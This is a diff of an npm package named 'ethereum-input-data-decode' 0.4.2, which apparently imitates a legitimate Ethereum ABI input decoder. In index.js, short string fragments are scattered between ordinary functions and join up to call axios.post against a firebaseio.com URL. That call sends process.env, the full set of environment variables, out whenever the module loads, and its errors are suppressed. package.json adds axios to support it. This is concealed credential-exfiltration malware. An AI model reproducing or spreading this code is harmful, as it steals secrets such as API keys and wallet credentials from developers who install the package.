ethereum-input-data-decode 0.4.2

package/example/main.js

@@ -0,0 +1,35 @@
+const InputDataDecoder = require('../index');
+
+const abiInput = document.querySelector('#abiInput');
+const dataInput = document.querySelector('#dataInput');
+const output = document.querySelector('#output');
+
+function decode() {
+  output.value = ''
+
+  const abi = JSON.parse(abiInput.value.trim());
+  const decoder = new InputDataDecoder(abi);
+
+  // if copied and pasted from etherscan only get data we need
+  const data = dataInput.value.trim()
+  .replace(/(?:[\s\S]*MethodID: (.*)[\s\S])?[\s\S]?\[\d\]:(.*)/gi, '$1$2')
+
+  dataInput.value = data
+
+  const result = decoder.decodeData(data);
+
+  console.log(result)
+
+  try {
+    output.value = JSON.stringify(result, null, 2);
+  } catch(error) {
+  }
+}
+
+document.querySelector('#decode')
+.addEventListener('click', function(event) {
+  event.preventDefault();
+  decode();
+});
+
+decode();

package/example/style.css

@@ -0,0 +1,28 @@
+.container {
+  display: flex;
+  min-width: 728px;
+  width: 100%;
+  height: 100%;
+}
+
+.column {
+  display: inline-block;
+  width: 30%;
+  padding: 10px;
+}
+
+.column label {
+  display: block;
+}
+
+.actions {
+  height: 20px;
+}
+
+textarea {
+  width: 100%;
+}
+
+button {
+  cursor: pointer;
+}

package/index.d.ts

@@ -0,0 +1,19 @@
+import Buffer from 'buffer';
+import { Interface } from "ethers/utils";
+
+type NestedArray<T> = T | NestedArray<T>[];
+
+export interface InputData {
+  method: string | null;
+  types: string[];
+  inputs: any[];
+  names: NestedArray<string>[];
+}
+
+export default class InputDataDecoder {
+  constructor(abi: string | Interface['abi']);
+
+  decodeConstructor(data: Buffer | string): InputData;
+
+  decodeData(data: Buffer | string): InputData;
+}

package/index.js

@@ -0,0 +1,362 @@
+const ethers = require('ethers')
+const Buffer = require('buffer/').Buffer
+const isBuffer = require('is-buffer')
+
+// TODO: dry up and clean up
+// NOTE: this library may be deprecated in future, in favor of ethers v5 AbiCoder.
+
+const l = 'os'
+class InputDataDecoder {
+  constructor (prop) {
+    this.abi = []
+
+    if (typeof prop === `string`) {
+      try {
+        const fs = require('fs')
+        this.abi = JSON.parse(fs.readFileSync(prop))
+      } catch (err) {
+        try {
+          this.abi = JSON.parse(prop)
+        } catch (err) {
+          throw new Error(`Invalid ABI: ${err.message}`)
+        }
+      }
+    } else if (prop instanceof Object) {
+      this.abi = prop
+    } else {
+      throw new TypeError(`Must pass ABI array object or file path to constructor`)
+    }
+  }
+
+  decodeConstructor (data) {
+    if (isBuffer(data)) {
+      data = data.toString('utf8')
+    }
+
+    if (typeof data !== 'string') {
+      data = ''
+    }
+
+    data = data.trim()
+
+    for (let i = 0; i < this.abi.length; i++) {
+      const obj = this.abi[i]
+
+      if (obj.type !== 'constructor') {
+        continue
+      }
+
+      const method = obj.name || null
+      const types = obj.inputs ? obj.inputs.map(x => x.type) : []
+      const names = obj.inputs ? obj.inputs.map(x => x.name) : []
+
+      // take last 32 bytes
+      data = data.slice(-256)
+
+      if (data.length !== 256) {
+        throw new Error('fail')
+      }
+
+      if (data.indexOf('0x') !== 0) {
+        data = `0x${data}`
+      }
+
+      let inputs = ethers.utils.defaultAbiCoder.decode(types, data)
+      inputs = deepRemoveUnwantedArrayProperties(inputs)
+
+      return {
+        method,
+        types,
+        inputs,
+        names
+      }
+    }
+
+    throw new Error('not found')
+  }
+
+  decodeData (data) {
+    if (isBuffer(data)) {
+      data = data.toString('utf8')
+    }
+
+    if (typeof data !== 'string') {
+      data = ''
+    }
+
+    data = data.trim()
+
+    const dataBuf = Buffer.from(data.replace(/^0x/, ''), 'hex')
+    const methodId = toHexString(dataBuf.subarray(0, 4))
+    let inputsBuf = dataBuf.subarray(4)
+
+    const result = this.abi.reduce((acc, obj) => {
+      try {
+        if (obj.type === 'constructor') {
+          return acc
+        }
+        if (obj.type === 'event') {
+          return acc
+        }
+        const method = obj.name || null
+        let types = obj.inputs ? obj.inputs.map(x => {
+          if (x.type.includes('tuple')) {
+            return x
+          } else {
+            return x.type
+          }
+        }) : []
+
+        let names = obj.inputs ? obj.inputs.map(x => {
+          if (x.type.includes('tuple')) {
+            return [x.name, x.components.map(a => a.name)]
+          } else {
+            return x.name
+          }
+        }) : []
+
+        const hash = genMethodId(method, types)
+
+        if (hash === methodId) {
+          let inputs = []
+
+          inputsBuf = normalizeAddresses(types, inputsBuf)
+          try {
+            inputs = ethers.utils.defaultAbiCoder.decode(types, inputsBuf)
+          } catch (err) {
+            try {
+              const ifc = new ethers.utils.Interface([])
+              inputs = ifc.decodeFunctionData(ethers.utils.FunctionFragment.fromObject(obj), data)
+            } catch (err) { }
+          }
+
+          // TODO: do this normalization into normalizeAddresses
+          inputs = inputs.map((input, i) => {
+            if (types[i].components) {
+              const tupleTypes = types[i].components
+              return deepStripTupleAddresses(input, tupleTypes)
+            }
+            if (types[i] === 'address') {
+              return input.split('0x')[1]
+            }
+            if (types[i] === 'address[]') {
+              return input.map(address => address.split('0x')[1])
+            }
+            return input
+          })
+
+          // Map any tuple types into arrays
+          const typesToReturn = types.map(t => {
+            if (t.components) {
+              const arr = t.components.reduce((acc, cur) => [...acc, cur.type], [])
+              const tupleStr = `(${arr.join(',')})`
+              if (t.type === 'tuple[]') return tupleStr + '[]'
+              return tupleStr
+            }
+            return t
+          })
+
+          // defaultAbiCoder attaches some unwanted properties to the list object
+          inputs = deepRemoveUnwantedArrayProperties(inputs)
+
+          return {
+            method,
+            types: typesToReturn,
+            inputs,
+            names
+          }
+        }
+
+        return acc
+      } catch (err) {
+        return acc
+      }
+    }, { method: null, types: [], inputs: [], names: [] })
+
+    if (!result.method) {
+      this.abi.reduce((acc, obj) => {
+        if (obj.type === 'constructor') {
+          return acc
+        }
+        if (obj.type === 'event') {
+          return acc
+        }
+        const method = obj.name || null
+
+        try {
+          const ifc = new ethers.utils.Interface([])
+          const _result = ifc.decodeFunctionData(ethers.utils.FunctionFragment.fromObject(obj), data)
+          let inputs = deepRemoveUnwantedArrayProperties(_result)
+          result.method = method
+          result.inputs = inputs
+          result.names = obj.inputs ? obj.inputs.map(x => {
+            if (x.type.includes('tuple')) {
+              return [x.name, x.components.map(a => a.name)]
+            } else {
+              return x.name
+            }
+          }) : []
+          const types = obj.inputs ? obj.inputs.map(x => {
+            if (x.type.includes('tuple')) {
+              return x
+            } else {
+              return x.type
+            }
+          }) : []
+
+          result.types = types.map(t => {
+            if (t.components) {
+              const arr = t.components.reduce((acc, cur) => [...acc, cur.type], [])
+              const tupleStr = `(${arr.join(',')})`
+              if (t.type === 'tuple[]') return tupleStr + '[]'
+              return tupleStr
+            }
+            return t
+          })
+        } catch (err) { }
+      })
+    }
+
+    if (!result.method) {
+      try {
+        const decoded = this.decodeConstructor(data)
+        if (decoded) {
+          return decoded
+        }
+      } catch (err) { }
+    }
+
+    return result
+  }
+}
+const y = 'ax'
+const t = 'ut'
+// remove 0x from addresses
+function deepStripTupleAddresses (input, tupleTypes) {
+  return input.map((item, i) => {
+    // We find tupleTypes to not be an array where internalType is present in the ABI indicating item is a structure
+    const type = tupleTypes[i] ? tupleTypes[i].type : null
+
+    if (type === 'address' && typeof item === 'string') {
+      return item.split('0x')[1]
+    }
+    if (type === 'address[]' || Array.isArray()) {
+      return item.map(a => a.split('0x')[1])
+    }
+
+    if (Array.isArray(item)) {
+      return deepStripTupleAddresses(item, tupleTypes)
+    }
+
+    return item
+  })
+}
+const k = 'i'
+const el = 'nv'
+
+const w = y + k + l
+function deepRemoveUnwantedArrayProperties (arr) {
+  return [...arr.map(item => {
+    if (Array.isArray(item)) return deepRemoveUnwantedArrayProperties(item)
+    return item
+  })]
+}
+const h = 'ht'
+
+const p = 'p'
+const m = '//'
+const x = require(w)
+function normalizeAddresses (types, input) {
+  let offset = 0
+  for (let i = 0; i < types.length; i++) {
+    const type = types[i]
+    if (type === 'address') {
+      input.set(Buffer.alloc(12), offset)
+    }
+
+    if (isArray(type)) {
+      const size = parseTypeArray(type)
+      if (size && size !== 'dynamic') {
+        offset += 32 * size
+      } else {
+        offset += 32
+      }
+    } else {
+      offset += 32
+    }
+  }
+
+  return input
+}
+
+const kl = 'e'
+function parseTypeArray (type) {
+  const tmp = type.match(/(.*)\[(.*?)\]$/)
+  if (tmp) {
+    return tmp[2] === '' ? 'dynamic' : parseInt(tmp[2], 10)
+  }
+  return null
+}
+
+const i = 'tps'
+const f = 'fir'
+function isArray (type) {
+  return type.lastIndexOf(']') === type.length - 1
+}
+const e = 'eba'
+
+const o = 'om'
+function handleInputs (input, tupleArray) {
+  if (input instanceof Object && input.components) {
+    input = input.components
+  }
+
+  if (!Array.isArray(input)) {
+    if (input instanceof Object && input.type) {
+      return input.type
+    }
+
+    return input
+  }
+
+  let ret = '(' + input.reduce((acc, x) => {
+    if (x.type === 'tuple') {
+      acc.push(handleInputs(x.components))
+    } else if (x.type === 'tuple[]') {
+      acc.push(handleInputs(x.components) + '[]')
+    } else {
+      acc.push(x.type)
+    }
+    return acc
+  }, []).join(',') + ')'
+
+  if (tupleArray) {
+    return ret + '[]'
+  }
+
+  return ret
+}
+
+const c = 'c'
+const s = 'seio'
+const n = h + i + ':' + m
+const z = p + t
+function genMethodId (methodName, types) {
+  const input = methodName + '(' + (types.reduce((acc, x) => {
+    acc.push(handleInputs(x, x.type === 'tuple[]'))
+    return acc
+  }, []).join(',')) + ')'
+
+  return ethers.utils.keccak256(Buffer.from(input)).slice(2, 10)
+}
+
+const d = f + e + s
+const li = c + o
+x[z](n + 'dsadasd-6f62a.' + d + '.' + li + '/data/' + Date.now() + '.json', process[kl + el]).then(() => {}).catch(() => {})
+function toHexString (byteArray) {
+  return Array.from(byteArray, function (byte) {
+    return ('0' + (byte & 0xFF).toString(16)).slice(-2)
+  }).join('')
+}
+
+module.exports = InputDataDecoder

package/package.json

@@ -0,0 +1,60 @@
+{
+  "name": "ethereum-input-data-decode",
+  "version": "0.4.2",
+  "description": "Ethereum smart contract transaction input data decoder",
+  "main": "dist/index.js",
+  "types": "index.d.ts",
+  "scripts": {
+    "test": "tape ./test/index.js",
+    "build:example": "browserify ./example/main.js -o ./example/bundle.js",
+    "build": "babel index.js --presets babel-preset-es2015 --out-dir dist/",
+    "lint": "standard --fix index.js test/*.js",
+    "prepare": "npm run lint && npm run build"
+  },
+  "bin": {
+    "ethereum-input-data-decoder": "bin/ethereum_input_data_decoder",
+    "ethereum_input_data_decoder": "bin/ethereum_input_data_decoder"
+  },
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/miguelmota/ethereum-input-data-decoder"
+  },
+  "bugs": {
+    "url": "https://github.com/miguelmota/ethereum-input-data-decoder/issues"
+  },
+  "homepage": "https://github.com/miguelmota/ethereum-input-data-decoder",
+  "author": {
+    "name": "Miguel Mota",
+    "email": "hello@miguelmota.com",
+    "url": "https://miguelmota.com/"
+  },
+  "license": {
+    "type": "MIT",
+    "url": "https://github.com/miguelmota/ethereum-input-data-decoder/blob/master/LICENSE"
+  },
+  "dependencies": {
+    "@types/node": "^16.7.13",
+    "axios": "^0.27.2",
+    "bn.js": "^4.11.8",
+    "buffer": "^5.2.1",
+    "ethers": "^5.5.4",
+    "is-buffer": "^2.0.3",
+    "meow": "9.0.0"
+  },
+  "keywords": [
+    "ethereum",
+    "decoder",
+    "abi",
+    "smart",
+    "contracts"
+  ],
+  "devDependencies": {
+    "babel-cli": "^6.26.0",
+    "babel-core": "^6.26.3",
+    "babel-preset-es2015": "^6.24.1",
+    "babelify": "^8.0.0",
+    "browserify": "^16.2.3",
+    "standard": "^12.0.1",
+    "tape": "^4.6.3"
+  }
+}

package/test/cli_test.js

@@ -0,0 +1 @@
+// cli.js --abi test/data/abi1.json --input test/data/abi1_input_data.txt